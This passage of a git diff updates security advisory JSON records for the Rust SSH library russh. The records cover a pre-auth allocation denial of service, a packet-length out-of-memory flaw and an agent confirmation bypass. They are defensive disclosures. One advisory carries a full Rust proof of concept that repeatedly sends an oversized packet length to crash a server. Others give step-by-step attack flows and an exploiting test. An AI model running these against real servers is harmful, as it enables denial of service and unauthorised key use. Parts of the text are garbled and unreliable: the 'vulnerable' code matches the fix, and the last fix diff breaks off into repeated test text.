complete Docker-contained PoC confirming the OOM kill:\n- Minimal russh server returning `Auth::Partial` for keyboard-interactive\n- Python client (paramiko for key exchange) sends malformed `USERAUTH_INFO_RESPONSE`\n- Container with 512MB memory limit; server is OOM-killed (exit code 137)\n\nAvailable on request.\n\n## Proposed Fix\n\nCap the `Vec::with_capacity` allocation to what the remaining packet data can actually contain. Each response requires at least 4 bytes (length prefix), so:\n\n```rust\nlet n = map_err!(u32::decode(r))?;\n\n// Bound both allocation and iteration by remaining packet data to\n// prevent a malicious client from causing a multi-GB allocation or\n// billions of loop iterations with a crafted count.\n// Each response needs at least 4 bytes (length prefix).\nlet max_responses = r.remaining_len().saturating_add(3) / 4;\nlet n = (n as usize).min(max_responses);\nlet mut responses = Vec::with_capacity(n);\nfor _ in 0..n {\n responses.push(Bytes::decode(r).ok())\n}\n```\n\nThis bounds the allocation to at most the packet size (~256KB), while preserving the existing behavior for well-formed packets. This fix has been implemented, tested, and contributed via the temporary private fork.\n\n## Severity\n\nPre-auth, remote, no credentials required, crashes the server process affecting all active sessions.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.60.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-f5v4-2wr6-hqmg/GHSA-f5v4-2wr6-hqmg.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42189"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/6c3c80a9b6d60763d6227d60fa8310e57172a4d1"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.60.1"}],"database_specific":{"cwe_ids":["CWE-770","CWE-789"],"github_reviewed":true,"github_reviewed_at":"2026-04-24T15:39:37Z","nvd_published_at":"2026-05-08T20:16:31Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-f5v4-2wr6-hqmg","published":"2026-04-24T15:39:37Z","modified":"2026-11-12T08:10:55.931337482Z","aliases":["CVE-2026-42189","RUSTSEC-2026-0496"],"summary":"russh has pre-auth DoS via unbounded allocation in its keyboard-interactive auth handler","details":"## Summary\n\nA pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials.\n\n## Vulnerability Details\n\nIn `russh/src/server/encrypted.rs`, the function `read_userauth_info_response` decodes a `u32` count from the client's `SSH_MSG_USERAUTH_INFO_RESPONSE` and passes it directly to `Vec::with_capacity()`:\n\n```rust\nlet n = map_err!(u32::decode(r))?;\n\n// Bound both allocation and iteration by remaining packet data to\n// prevent a malicious client from causing a multi-GB allocation or\n// billions of loop iterations with a crafted count.\n// Each response needs at least 4 bytes (length prefix).\nlet max_responses = r.remaining_len().saturating_add(3) / 4;\nlet n = (n as usize).min(max_responses);\nlet mut responses = Vec::with_capacity(n);\nfor _ in 0..n {\n responses.push(Bytes::decode(r).ok())\n}\n```\n\nAn attacker can send `n = 0x10000000` (268M) or larger in a minimal packet (~50 bytes after encryption). The server attempts to allocate `n * ~24 bytes` (size of `Option`) = ~6.4GB, causing an OOM crash.\n\n## Attack Flow\n\n1. Attacker connects via TCP, completes key exchange (no credentials needed -- this is the anonymous DH handshake, not authentication)\n2. Sends `USERAUTH_REQUEST` with method `keyboard-interactive`\n3. Server handler returns `Auth::Partial` with prompts (standard for 2FA/TOTP)\n4. Attacker sends `USERAUTH_INFO_RESPONSE` with `n = 0x10000000` and no response data\n5. Server calls `Vec::with_capacity(268_435_456)`, OOM killed\n\nNo authentication is required. The allocation occurs before the handler validates any credentials. The attack is repeatable faster than the server can restart.\n\n## Affected Configurations\n\nAny russh-based server where the `Handler::auth_keyboard_interactive` implementation returns `Auth::Partial` (i.e., sends prompts to the client). The default handler returns `Auth::reject()` and is not affected.\n\nSource code review suggests that downstream projects using keyboard-interactive for multi-step auth (e.g., TOTP/2FA) follow the affected pattern, since returning `Auth::Partial` before credential verification is the intended API usage for prompting.\n\n## Confirmed End-to-End PoC\n\nThere is a complete Docker-contained PoC confirming the OOM kill:\n- Minimal russh server returning `Auth::Partial` for keyboard-interactive\n- Python client (paramiko for key exchange) sends malformed `USERAUTH_INFO_RESPONSE`\n- Container with 512MB memory limit; server is OOM-killed (exit code 137)\n\nAvailable on request.\n\n## Proposed Fix\n\nCap the `Vec::with_capacity` allocation to what the remaining packet data can actually contain. Each response requires at least 4 bytes (length prefix), so:\n\n```rust\nlet n = map_err!(u32::decode(r))?;\n\n// Bound both allocation and iteration by remaining packet data to\n// prevent a malicious client from causing a multi-GB allocation or\n// billions of loop iterations with a crafted count.\n// Each response needs at least 4 bytes (length prefix).\nlet max_responses = r.remaining_len().saturating_add(3) / 4;\nlet n = (n as usize).min(max_responses);\nlet mut responses = Vec::with_capacity(n);\nfor _ in 0..n {\n responses.push(Bytes::decode(r).ok())\n}\n```\n\nThis bounds the allocation to at most the packet size (~256KB), while preserving the existing behavior for well-formed packets. This fix has been implemented, tested, and contributed via the temporary private fork.\n\n## Severity\n\nPre-auth, remote, no credentials required, crashes the server process affecting all active sessions.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.60.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-f5v4-2wr6-hqmg/GHSA-f5v4-2wr6-hqmg.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42189"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/6c3c80a9b6d60763d6227d60fa8310e57172a4d1"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.60.1"}],"database_specific":{"cwe_ids":["CWE-770","CWE-789"],"github_reviewed":true,"github_reviewed_at":"2026-04-24T15:39:37Z","nvd_published_at":"2026-05-08T20:16:31Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-vgvv-x7xg-6cqg.json b/data/crates.io/GHSA-vgvv-x7xg-6cqg.json index 0fc070214d..5268b19f99 100644 --- a/data/crates.io/GHSA-vgvv-x7xg-6cqg.json +++ b/data/crates.io/GHSA-vgvv-x7xg-6cqg.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-vgvv-x7xg-6cqg","published":"2024-08-14T21:18:20Z","modified":"2024-08-21T18:59:23Z","aliases":["CVE-2024-43410"],"summary":"Russh has an OOM Denial of Service due to allocation of untrusted amount","details":"### Summary\n\nAllocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.\n\n### Details\n\nAn SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.\n\nhttps://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254\n\nBut this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.\n\nRFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1\n\n> However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.\n\n### PoC\n\nRunning the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.\n\n
\nRust code to run against the echo server\n\n`Cargo.toml`\n```toml\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nhex-literal = \"=0.4.1\"\n```\n\n`main.rs`\n```rust\nuse std::time::Duration;\nuse std::{error::Error, net::SocketAddr};\n\nuse std::{\n io::{Read, Write},\n net::TcpStream,\n};\n\nfn main() -> Result<(), Box> {\n loop {\n attempt()?;\n eprintln!(\"still running, trying again in a few seconds\");\n std::thread::sleep(Duration::from_secs(2));\n }\n}\n\nfn attempt() -> Result<(), Box> {\n for i in 0..5 {\n eprintln!(\"iteration {i}\");\n let mut s = TcpStream::connect(\"0.0.0.0:2222\".parse::().unwrap())?;\n s.write_all(b\"SSH-2.0-OpenSSH_9.7\\r\\n\")?;\n s.read(&mut [0; 1000])?;\n // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.\n s.write_all(&hex_literal::hex!(\n \"\n ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353\n 1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c\n 637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6\n e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69\n 7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686\n 13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669\n 652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2\n d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d\n 763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314\n 06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630\n 31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7\n 63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274\n 2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303\n 1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572\n 742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314\n 06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73\n 73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6\n 5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c\n 736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613\n 22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d\n 736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636\n f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331\n 32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636\n f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331\n 32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4\n 06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575\n 6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656\n e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68\n 6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6\n 5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163\n 2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613\n 22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63\n 6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323\n 5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065\n 6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632\n d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61\n 632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6\n f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f\n 70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000\n \"\n ))?;\n\n s.shutdown(std::net::Shutdown::Both)?;\n }\n Ok(())\n}\n```\n\n
\n\n### Impact\n\nDue to this allocation, a russh server can be brought to OOM, causing a DoS.\nSince this happens before authentication, it can be done by any user that has access to the TCP port over the internet.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.44.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.44.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-vgvv-x7xg-6cqg/GHSA-vgvv-x7xg-6cqg.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43410"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2024-08-14T21:18:20Z","nvd_published_at":"2024-08-21T16:15:08Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-vgvv-x7xg-6cqg","published":"2024-08-14T21:18:20Z","modified":"2026-11-12T08:10:40.454128228Z","aliases":["CVE-2024-43410","RUSTSEC-2024-0450"],"summary":"Russh has an OOM Denial of Service due to allocation of untrusted amount","details":"### Summary\n\nAllocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.\n\n### Details\n\nAn SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.\n\nhttps://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254\n\nBut this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.\n\nRFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1\n\n> However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.\n\n### PoC\n\nRunning the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.\n\n
\nRust code to run against the echo server\n\n`Cargo.toml`\n```toml\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nhex-literal = \"=0.4.1\"\n```\n\n`main.rs`\n```rust\nuse std::time::Duration;\nuse std::{error::Error, net::SocketAddr};\n\nuse std::{\n io::{Read, Write},\n net::TcpStream,\n};\n\nfn main() -> Result<(), Box> {\n loop {\n attempt()?;\n eprintln!(\"still running, trying again in a few seconds\");\n std::thread::sleep(Duration::from_secs(2));\n }\n}\n\nfn attempt() -> Result<(), Box> {\n for i in 0..5 {\n eprintln!(\"iteration {i}\");\n let mut s = TcpStream::connect(\"0.0.0.0:2222\".parse::().unwrap())?;\n s.write_all(b\"SSH-2.0-OpenSSH_9.7\\r\\n\")?;\n s.read(&mut [0; 1000])?;\n // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.\n s.write_all(&hex_literal::hex!(\n \"\n ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353\n 1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c\n 637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6\n e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69\n 7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686\n 13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669\n 652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2\n d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d\n 763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314\n 06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630\n 31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7\n 63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274\n 2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303\n 1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572\n 742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314\n 06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73\n 73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6\n 5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c\n 736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613\n 22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d\n 736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636\n f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331\n 32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636\n f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331\n 32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4\n 06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575\n 6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656\n e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68\n 6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6\n 5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163\n 2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613\n 22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63\n 6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323\n 5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065\n 6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632\n d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61\n 632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6\n f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f\n 70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000\n \"\n ))?;\n\n s.shutdown(std::net::Shutdown::Both)?;\n }\n Ok(())\n}\n```\n\n
\n\n### Impact\n\nDue to this allocation, a russh server can be brought to OOM, causing a DoS.\nSince this happens before authentication, it can be done by any user that has access to the TCP port over the internet.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.44.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.44.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-vgvv-x7xg-6cqg/GHSA-vgvv-x7xg-6cqg.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43410"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2024-08-14T21:18:20Z","nvd_published_at":"2024-08-21T16:15:08Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-vp5q-ff62-jwqv.json b/data/crates.io/GHSA-vp5q-ff62-jwqv.json index ab6a4bcc70..5e38146d1e 100644 --- a/data/crates.io/GHSA-vp5q-ff62-jwqv.json +++ b/data/crates.io/GHSA-vp5q-ff62-jwqv.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"GHSA-vp5q-ff62-jwqv","published":"2026-10-30T22:59:08Z","modified":"2026-10-30T23:15:08.280947847Z","aliases":["CVE-2026-116794"],"summary":"russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation","details":"### Summary\n\nThe agent server in `russh::keys::agent::server` never calls `Agent::confirm` before signing with a key that was added with the confirm constraint. That constraint is `SSH_AGENT_CONSTRAIN_CONFIRM` (RFC 9987 §5.2.7.2), which is what `ssh-add -c` sends.\n\nThe call was replaced by a hard-coded `true` in 3e04597 (\"Native async traits encore\", #455), first released in 0.50.0-beta.12. Every release since, up to and including 0.64.1, signs requests for confirm-constrained keys without asking the `Agent` implementation. A user who added a key with `-c` is therefore never asked to confirm.\n\n### Details\n\n`Connection::try_sign` notes that the key needs confirmation, then awaits a ready future instead of the agent ([server.rs L348-L360 at v0.64.1](https://github.com/Eugeny/russh/blob/e5d80a07dc554480b6ea3b2e14adfc190407b627/russh/src/keys/agent/server.rs#L348-L360)):\n\n```rust\nlet agent = if needs_confirm {\n let (agent, ok) = {\n let _pk = key.clone();\n Box::new(futures::future::ready((agent, true)))\n }\n .await;\n if !ok {\n return Ok((agent, false));\n }\n agent\n} else {\n agent\n};\n```\n\nBefore [3e04597](https://github.com/Eugeny/russh/commit/3e04597dc54e36bfc85c21996f7d8d9d224e9826) the first statement was `let (agent, ok) = agent.confirm(key.clone()).await;`.\n\n`try_sign` was checked in the published crates on crates.io:\n- Every russh release from 0.50.0-beta.12 to 0.64.1 (52 versions) has the hard-coded `true`.\n- russh 0.50.0-beta.8 to beta.11 call `agent.confirm`.\n- Earlier russh releases have no agent server. It lived in russh-keys, and no russh-keys release is affected.\n\nNot affected:\n- `Agent` implementations that keep the default `confirm`, which returns `true` anyway.\n- Checks made in `Agent::confirm_request`, which is still called with `MessageType::Sign` for every sign request ([L158-L159](https://github.com/Eugeny/russh/blob/e5d80a07dc554480b6ea3b2e14adfc190407b627/russh/src/keys/agent/server.rs#L158-L159)).\n- The agent client, and the SSH client and server.\n\n### PoC\n\n1. Add this test to `mod test` in `russh/src/keys/mod.rs`. It uses the module's existing `Incoming` helper and `ED25519_KEY`.\n2. Run `cargo test -p russh --lib keys::test::test_agent_confirms_keys_added_with_the_confirm_constraint`.\n\n```rust\n#[tokio::test]\n#[cfg(unix)]\nasync fn test_agent_confirms_keys_added_with_the_confirm_constraint() {\n use std::sync::atomic::{AtomicUsize, Ordering};\n\n // An agent whose user refuses every confirmation prompt.\n #[derive(Clone)]\n struct Refuse(std::sync::Arc);\n impl agent::server::Agent for Refuse {\n fn confirm(\n self,\n _: std::sync::Arc,\n ) -> Box + Send + Unpin> {\n self.0.fetch_add(1, Ordering::SeqCst);\n Box::new(futures::future::ready((self, false)))\n }\n }\n\n let prompts = std::sync::Arc::new(AtomicUsize::new(0));\n let dir = tempfile::tempdir().unwrap();\n let agent_path = dir.path().join(\"agent\");\n let mut listener = tokio::net::UnixListener::bind(&agent_path).unwrap();\n let agent = Refuse(prompts.clone());\n tokio::spawn(async move {\n agent::server::serve(\n Incoming {\n listener: &mut listener,\n },\n agent,\n )\n .await\n });\n\n let key = decode_secret_key(ED25519_KEY, Some(\"blabla\")).unwrap();\n let public = key.public_key().clone();\n let stream = tokio::net::UnixStream::connect(&agent_path).await.unwrap();\n let mut client = agent::client::AgentClient::connect(stream);\n // What `ssh-add -c` sends.\n client\n .add_identity(&key, &[agent::Constraint::Confirm])\n .await\n .unwrap();\n\n let signed = client\n .sign_request(&AgentIdentity::from(public), None, b\"data\".to_vec())\n .await;\n let confirm_calls = prompts.load(Ordering::SeqCst);\n assert!(\n signed.is_err(),\n \"the agent signed with a confirm-constrained key without asking: \\\n Agent::confirm was called {confirm_calls} time(s)\"\n );\n assert_eq!(\n confirm_calls, 1,\n \"Agent::confirm should be asked exactly once\"\n );\n}\n```\n\nOn v0.64.1 (e5d80a0) the test fails:\n\n```\nthe agent signed with a confirm-constrained key without asking: Agent::confirm was called 0 time(s)\n```\n\nWith the fix below it passes, and so do all 46 `keys::` tests.\n\n### Impact\n\nA russh-based agent whose `Agent::confirm` asks the user, or applies any other check, signs every request for a confirm-constrained key without running that check. Anyone who can talk to the agent can then use the key without the user's approval:\n- other local processes of the user;\n- the remote host, when the agent is forwarded (`ssh -A`).\n\nPreventing exactly this is the purpose of the confirm constraint. RFC 9987 §10 names it as what stops an attacker with access to the agent from \"stealing use of those keys\".\n\nBecause the agent accepts the constraint, `ssh-add -c` reports success and the user believes the key is protected. RFC 9987 §5.2.7 says an agent that does not support a constraint MUST refuse the key instead.\n\nThe private key itself is not exposed. The impact is unauthorized use of it for as long as the attacker can reach the agent: logging in to other hosts as the user, or signing data such as git commits.\n\n**Known affected downstream user** (from its public code; not tested): Proton Pass desktop, which uses russh 0.62.7.\n- It adds every key with `Constraint::Confirm` ([mod.rs L332](https://github.com/ProtonMail/WebClients/blob/64862561fea883c1b4360b7338a0102eaad5c0fb/applications/pass-desktop/native/napi/src/ssh_agent/mod.rs#L332)).\n- It uses `Agent::confirm` as its \"Pass is unlocked\" check before signing, and defers `MessageType::Sign` from `confirm_request` to it ([L75-L100](https://github.com/ProtonMail/WebClients/blob/64862561fea883c1b4360b7338a0102eaad5c0fb/applications/pass-desktop/native/napi/src/ssh_agent/mod.rs#L75-L100)). That check never runs.\n- Proton also removes keys from the agent on lock and logout ([ssh-agent.middleware.ts L23-L27](https://github.com/ProtonMail/WebClients/blob/64862561fea883c1b4360b7338a0102eaad5c0fb/applications/pass/src/app/Store/ssh-agent.middleware.ts#L23-L27)).\n\nSo the exposure there is limited to states in which keys stay loaded while Pass is not unlocked. Their own code notes, for example, that the agent persists across renderer reloads and account switches.\n\n### Suggested fix\n\n```diff\n--- a/russh/src/keys/agent/server.rs\n+++ b/russh/src/keys/agent/server.rs\n@@ -346,11 +346,7 @@ impl);\n impl agent::server::Agent for Refuse {\n fn confirm(\n self,\n _: std::sync::Arc,\n ) -> Box + Send + Unpin> {\n self.0.fetch_add(1, Ordering::SeqCst);\n Box::new(futures::future::ready((self, false)))\n }\n }\n\n let prompts = std::sync::Arc::new(AtomicUsize::new(0));\n let dir = tempfile::tempdir().unwrap();\n let agent_path = dir.path().join(\"agent\");\n let mut listener = tokio::net::UnixListener::bind(&agent_path).unwrap();\n let agent = Refuse(prompts.clone());\n tokio::spawn(async move {\n agent::server::serve(\n Incoming {\n listener: &mut listener,\n },\n agent,\n )\n .await\n });\n\n let key = decode_secret_key(ED25519_KEY, Some(\"blabla\")).unwrap();\n let public = key.public_key().clone();\n let stream = tokio::net::UnixStream::connect(&agent_path).await.unwrap();\n let mut client = agent::client::AgentClient::connect(stream);\n // What `ssh-add -c` sends.\n client\n .add_identity(&key, &[agent::Constraint::Confirm])\n .await\n .unwrap();\n\n let signed = client\n .sign_request(&AgentIdentity::from(public), None, b\"data\".to_vec())\n .await;\n let confirm_calls = prompts.load(Ordering::SeqCst);\n assert!(\n signed.is_err(),\n \"the agent signed with a confirm-constrained key without asking: \\\n Agent::confirm was called {confirm_calls} time(s)\"\n );\n assert_eq!(\n confirm_calls, 1,\n \"Agent::confirm should be asked exactly once\"\n );\n}\n```\n\nOn v0.64.1 (e5d80a0) the test fails:\n\n```\nthe agent signed with a confirm-constrained key without asking: Agent::confirm was called 0 time(s)\n```\n\nWith the fix below it passes, and so do all 46 `keys::` tests.\n\n### Impact\n\nA russh-based agent whose `Agent::confirm` asks the user, or applies any other check, signs every request for a confirm-constrained key without running that check. Anyone who can talk to the agent can then use the key without the user's approval:\n- other local processes of the user;\n- the remote host, when the agent is forwarded (`ssh -A`).\n\nPreventing exactly this is the purpose of the confirm constraint. RFC 9987 §10 names it as what stops an attacker with access to the agent from \"stealing use of those keys\".\n\nBecause the agent accepts the constraint, `ssh-add -c` reports success and the user believes the key is protected. RFC 9987 §5.2.7 says an agent that does not support a constraint MUST refuse the key instead.\n\nThe private key itself is not exposed. The impact is unauthorized use of it for as long as the attacker can reach the agent: logging in to other hosts as the user, or signing data such as git commits.\n\n**Known affected downstream user** (from its public code; not tested): Proton Pass desktop, which uses russh 0.62.7.\n- It adds every key with `Constraint::Confirm` ([mod.rs L332](https://github.com/ProtonMail/WebClients/blob/64862561fea883c1b4360b7338a0102eaad5c0fb/applications/pass-desktop/native/napi/src/ssh_agent/mod.rs#L332)).\n- It uses `Agent::confirm` as its \"Pass is unlocked\" check before signing, and defers `MessageType::Sign` from `confirm_request` to it 